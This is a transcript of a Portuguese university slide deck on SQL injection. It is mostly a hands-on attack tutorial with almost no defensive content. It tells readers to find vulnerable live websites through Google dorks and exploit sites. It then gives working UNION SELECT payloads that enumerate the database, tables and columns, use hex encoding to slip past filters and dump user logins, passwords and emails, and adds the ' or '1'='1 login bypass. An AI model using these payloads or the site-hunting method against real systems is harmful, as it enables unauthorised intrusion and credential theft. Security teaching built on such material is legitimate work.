sql injection

34
Prof. Alexandre Marcelino Segurança 1 Segurança em Redes – SQl Injection Prof.Alexandre Marcelino da Silva [email protected] [email protected] (MSN) UniSalesiano Centro Universitário Católico Auxilium

Upload: alone350

Post on 02-Aug-2015

59 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: SQL Injection

Prof. Alexandre Marcelino

Segurança1

Segurança em Redes – SQl Injection

Prof.Alexandre Marcelino da [email protected]

[email protected] (MSN)

UniSalesianoCentro Universitário Católico Auxilium

Page 2: SQL Injection

Prof. Alexandre Marcelino

Segurança2

Conceito

A SQL Injection é uma forma de manipular as instruções SQL utilizados em páginas dinâmicas, ou seja, páginas que contenham conteúdo baseado em banco de dados. O conceito básico é tentar manipular as instruções SQL e variáveis que são passadas de um formulário para outro, através da junção de outros comandos SQL.

Isso somente é possível, se o desenvolvedor do Web-Site não programou uma solução que preveja e proteja esse tipo de problema.

Page 3: SQL Injection

Prof. Alexandre Marcelino

Segurança3

Conceito

Cabe ressaltar que essa técnica pode ser utilizada com qualquer linguagem de programação Server-Side Script, pois a falha não é da linguagem e sim da implementação.

Vamos entender como é a estrutura de um banco de dados:

Page 4: SQL Injection

Prof. Alexandre Marcelino

Segurança4

Conceito

Database Tabelas Colunas Conteúdo das Colunas

Page 5: SQL Injection

Prof. Alexandre Marcelino

Segurança5

Conceito

Uma das formas de se executar compreende localizar um site vulnerável e tentar o acesso de manipulando as tabelas através da inserção de comandos SQL na própria URL do website, dessa forma, é possível descobrir dados do banco de dados e ainda acessar a parte administrativa do mesmo.

Outra forma é inserir “tags” no campos de formulário de forma que falsifique a autenticação dos dados de login.

Vamos ver cada uma delas.

Page 6: SQL Injection

Prof. Alexandre Marcelino

Segurança6

Inserindo SQL na URL

1) Localizar sites vulneráveis

Existem várias formas de achar sites suscetíveis ao SQLI, como por exemplo, as várias google dorks existentes, sites onde são publicadas vulnerabilidades. Nesses sites vamos nos focar logicamente nas vulnerabilidades marcadas como "sql injection", abaixo alguns sites bons:

http://www.exploit-db.com/http://packetstormsecurity.org/

http://killer.blackapplehost.com/Public-Sql-Scanner/v1log.txt

Page 7: SQL Injection

Prof. Alexandre Marcelino

Segurança7

Inserindo SQL na URL

Algumas vezes você vai achar o exploit já com o caminho todo feito para se fazer a sqli, mas esse não é nosso objetivo, queremos fazer na mão mesmo, então vamos pegar algum site encontrado tanto dessa forma que citei a cima ou por dorks e vamos começar o passo a passo.

Page 8: SQL Injection

Prof. Alexandre Marcelino

Segurança8

Inserindo SQL na URL

Outra forma é buscas no Google através de uma busca parcial de uma URL, baseada em banco de dados. Normalmente, quando é realizada uma requisição em um site, passado através da URL um ou mais identificadores para ser realizada a busca no banco de dados, por exemplo:

http://www.salesiano-ata.br/faculdades/index.php?fcs=noticias&op=1119

Isso indica a passagem de identificadores FCS com o valor noticias e OP com o valor 1119.

Page 9: SQL Injection

Prof. Alexandre Marcelino

Segurança9

Inserindo SQL na URL

É extremamente comum encontrarmos nomes triviais nos websites, tanto em relação aos scripts como em relação a identificadores.

Nomes comuns de scripts:Noticias, new, fotos,index, principal, agenda, etc

Nomes comuns de identificadores: id, cod, codigo, cod_id, id_cod, etc

Page 10: SQL Injection

Prof. Alexandre Marcelino

Segurança10

Inserindo SQL na URL

Baseado nisso você pode utilizar a tag INURL para busca uma combinação de páginas que utilizem esses dados padrões.

Exemplo: inurl:noticias.php?id=

Essa combinação irá buscar scripts na linguagem PHP com o nome de NOTICIAS e que passem através da Url um identificador chamado ID.

Page 11: SQL Injection

Prof. Alexandre Marcelino

Segurança11

Inserindo SQL na URL

2) Testando se o site é vulnerável:

Essa etapa vamos acrescentar um " ' " na URL e esperar que retorne algum erro.

Exemplo:

Código:

http://www.site.com/news_item.php?id=1'

ou

Código:

http://www.site.com/news_item.php?id='1

Page 12: SQL Injection

Prof. Alexandre Marcelino

Segurança12

Inserindo SQL na URL

O erro que esperamos que seja mostrado na página é:

Código:

"Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /u/r/site/xxxxx/site.com/diretorio/diretorio/news_item.php on line 108“

O erro acima diz que você possui um erro na síntaxe da consulta Sql e pede para você checar o manual correspondente ao SGBD que você está utilizando. Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url.

Page 13: SQL Injection

Prof. Alexandre Marcelino

Segurança13

Inserindo SQL na URL

3) Determinando o número de colunas:

Precisamos agora saber quantas colunas essa database tem. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY.

Mas como utilizar este comando Sql?

Simples! Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas/Tabelas, ou seja, você pode acionar a coluna correspondente. vamos então solicitar ao servidor essas informações

Page 14: SQL Injection

Prof. Alexandre Marcelino

Segurança14

Inserindo SQL na URL

Se não aparecer nenhum erro é por que esta Coluna/Tabela número 1 existe. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna/Tabela é inexistente no banco de dados.

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 1-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 2-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Page 15: SQL Injection

Prof. Alexandre Marcelino

Segurança15

Inserindo SQL na URL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 3-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 4-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 5-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 6-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Page 16: SQL Injection

Prof. Alexandre Marcelino

Segurança16

Inserindo SQL na URL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 7-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 8-- SEM ERRO, A PÁGINA CARREGOU NORMAL

Código:

http://www.site.com/news_item.php?id=1 ORDER BY 9-- ERRO! Algum erro apareceu na página

O que isso quer dizer? Que a tabela que está sendo utilizada na página tem 8 colunas.

Page 17: SQL Injection

Prof. Alexandre Marcelino

Segurança17

Inserindo SQL na URL

4) Descobrindo qual coluna é vulnerável:

Agora precisamos encontrar nessas 8 colunas qual delas é vulnerável, sabendo isso, todos nossos comandos futuros serão feitos em cima dessa coluna.

Para tal, iremos uilizar a função UNION.

Esta função poderosa é responsável por unir vários dados localizados em Colunas/Tabelas diferentes.

Page 18: SQL Injection

Prof. Alexandre Marcelino

Segurança18

Inserindo SQL na URL

Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do site: http://www.site.com/news_item.php . Está e a ordem que você atribui ao comando colocado na url do site.

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8—

Page 19: SQL Injection

Prof. Alexandre Marcelino

Segurança19

Inserindo SQL na URL

Explicando a Sql:O exemplo acima vai possibilitar ao "Injectador" visualizar todas as informações contidas nas Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do banco.

Código:...?id ... union all select 1,2,3,4,5,6,7,8

Page 20: SQL Injection

Prof. Alexandre Marcelino

Segurança20

Inserindo SQL na URL

Após ter feito isso, deve ter sido mostrado algum número na tela, esse número indica qual coluna é vulnerável(pode ser mostrado mais de uma coluna)no nosso tutorial vamos encarar como se tivesse sido mostrado o número 2.não se esquecer do "-" depois do =.

Page 21: SQL Injection

Prof. Alexandre Marcelino

Segurança21

Inserindo SQL na URL

5) Descobrindo a versão do SQL:

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,@@version,3,4,5,6,7,8--Deve ter sido mostrado algo como 5.0.91-community ou [5.0.77-log], o que importa é ser a versão 5.xx, se for a versão 4.xxx esse tutorial não vai servir. Perceberam que a solicitação "@@version" foi justamente onde seria a coluna número 2, colocamos ela justamente ai porque descobrimos no passo anterior que a coluna número dois que era a vulnerável.

Page 22: SQL Injection

Prof. Alexandre Marcelino

Segurança22

Inserindo SQL na URL

6) Achando o nome do banco de dados:Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8 FROM information_schema.schemata—

Após esse comando será retornado o nome do banco de dados, prestar atenção que pode aparecer mais de um nome, isso significa que além da database da aplicação que estamos no momento, o site possui outras. Isso ocorre normalmente quando o site está hospedado em um datacenter, ou empresa de hospedagem de site.

Page 23: SQL Injection

Prof. Alexandre Marcelino

Segurança23

Inserindo SQL na URL

Para ver apenas a da aplicação corrente, entramos com o comando:

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,concat(database()),3,4,5,6,7,8--

Vamos supor que após esses comandos, obtemos como nome do DB a palavra Zaza, guarde esse nome, vamos usar depois.

Page 24: SQL Injection

Prof. Alexandre Marcelino

Segurança24

Inserindo SQL na URL

7) Achando o nome das tabelas:

O comando para se achar o nome das tabelas tem a mesma lógica do comando para achar o nome do DB (Banco de dados)

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--

Page 25: SQL Injection

Prof. Alexandre Marcelino

Segurança25

Inserindo SQL na URL

Se tudo deu certo será mostrado o nome de várias tabelas, cabe a você escolher de qual tabela retirar o nome das colunas(no próximo passo), para ilustrar nosso exemplo, vamos dizer que encontramos as tabelas chamadas "user,forum,files,bans“

Mais ou menos o que esse comando quer dizer é "junte as tabelas e pegue o nome delas do local information_schema.tables, que por sua vez pode ser encontrado na database"

Page 26: SQL Injection

Prof. Alexandre Marcelino

Segurança26

Inserindo SQL na URL

8) Achando o nome das colunas:

Agora temos que localizar as colunas da tabela alvo.

Vamos escolher a tabela user para extrairmos os nomes das colunas.

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name="user"--

Page 27: SQL Injection

Prof. Alexandre Marcelino

Segurança27

Inserindo SQL na URL

Deu tudo certo? tem grandes chances que não tenha dado, nessa etapa muitas vezes você tem variar um pouco o comando pra "enganar" o server e permitir você fazer essa solicitação, pra isso vamos fazer o seguinte:

Pegue o nome da tabela que queremos "abrir" no nosso caso a tabela com nome user.entre no site http://www.swingnote.com/tools/texttohex.phpouhttp://www.string-functions.com/string-hex.aspx

Page 28: SQL Injection

Prof. Alexandre Marcelino

Segurança28

Inserindo SQL na URL

Escreva o nome da tabela e clique em "Convert", fazendo isso você vai ter o equivalente em hexadecimal da palabra user, que no caso foi igual a "75736572" agora podemos voltar para a URL do site vulnerável e efetuar esse comando:

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name=0x75736572--

Page 29: SQL Injection

Prof. Alexandre Marcelino

Segurança29

Inserindo SQL na URL

Perceba que acrescentamos 0x antes do valor hexadecimal para informar ao server que deve interpretar aquilo como hexadecimal. Dando tudo certo, você tem agora em mãos, o nome das colunas que estão dentro da tabela user certo? Vamos usar como exemplo que dentro tabela user encontramos as colunas com os seguintes nomes "id,first_name,email,login,password", no próximo passo veremos como ver o conteúdo delas.

Page 30: SQL Injection

Prof. Alexandre Marcelino

Segurança30

Inserindo SQL na URL

9) Obtendo o conteúdo das colunas:

Código:

http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(login,0x3a,password,0x3a,email),3,4,5,6,7,8 FROM user--Nesse comando solicitamos ao server para exibir o conteúdo das colunas "login,password e email) que estão na database chamada "fpblog" dentro da tabela "user". O que é "0x3a" bom, isso serve para que o conteúdo dessas tabelas nos seja mostrado por um separador ":"

Page 31: SQL Injection

Prof. Alexandre Marcelino

Segurança31

Injetando em Formulários

O conceito é tentar forjar a autenticação de login e senha.

Alguns dos sites usam para autenticar os usuários, uma tabela num banco de dados relacional que contém todos os logins e senhas que tem acesso. A jogada está na forma como eles usam param autenticar usuários: uma string SQL que é concatenada com o login e senha que o usuário passa num formulário.

select * from tabelaUsuario where login=‘"+ id_form+“ ' and senha =‘"+senha_form+" ‘ "

Page 32: SQL Injection

Prof. Alexandre Marcelino

Segurança32

Injetando em Formulários

O script faz a consulta e testa: se voltou algum registro, o usuário passou as credenciais corretas. Podemos manipular essa SQL jogando nos campos de usuário e senha, valores que forçam a volta de registros !!

Por exemplo: Colocamos como login o valor [' or '1'='1] (Sem cochetes) Colocamos como senha o valor [' or '1'='1] (Sem cochetes)

Page 33: SQL Injection

Prof. Alexandre Marcelino

Segurança33

Injetando em Formulários Veja o SQL que resulta quando estes valores são

concatenados:

select * from tabelaUsuario where user_name='"+ login_form+"' and userPasswd ='"+login

Injetada--> select * from tabelaUsuario where user_name='' or '1'='1' and userPasswd='' or '1'='1'

Repare que modificamos a lógica do filtro passado e agora a consulta vai voltar TODOS os registros da tabela de usuário

Page 34: SQL Injection

Prof. Alexandre Marcelino

Segurança34

Injetando em Formulários

No Firefox

https://addons.mozilla.org/pt-BR/firefox/addon/6727

Dá apoio/auxílio na injeção dos códigos da SQL Injection.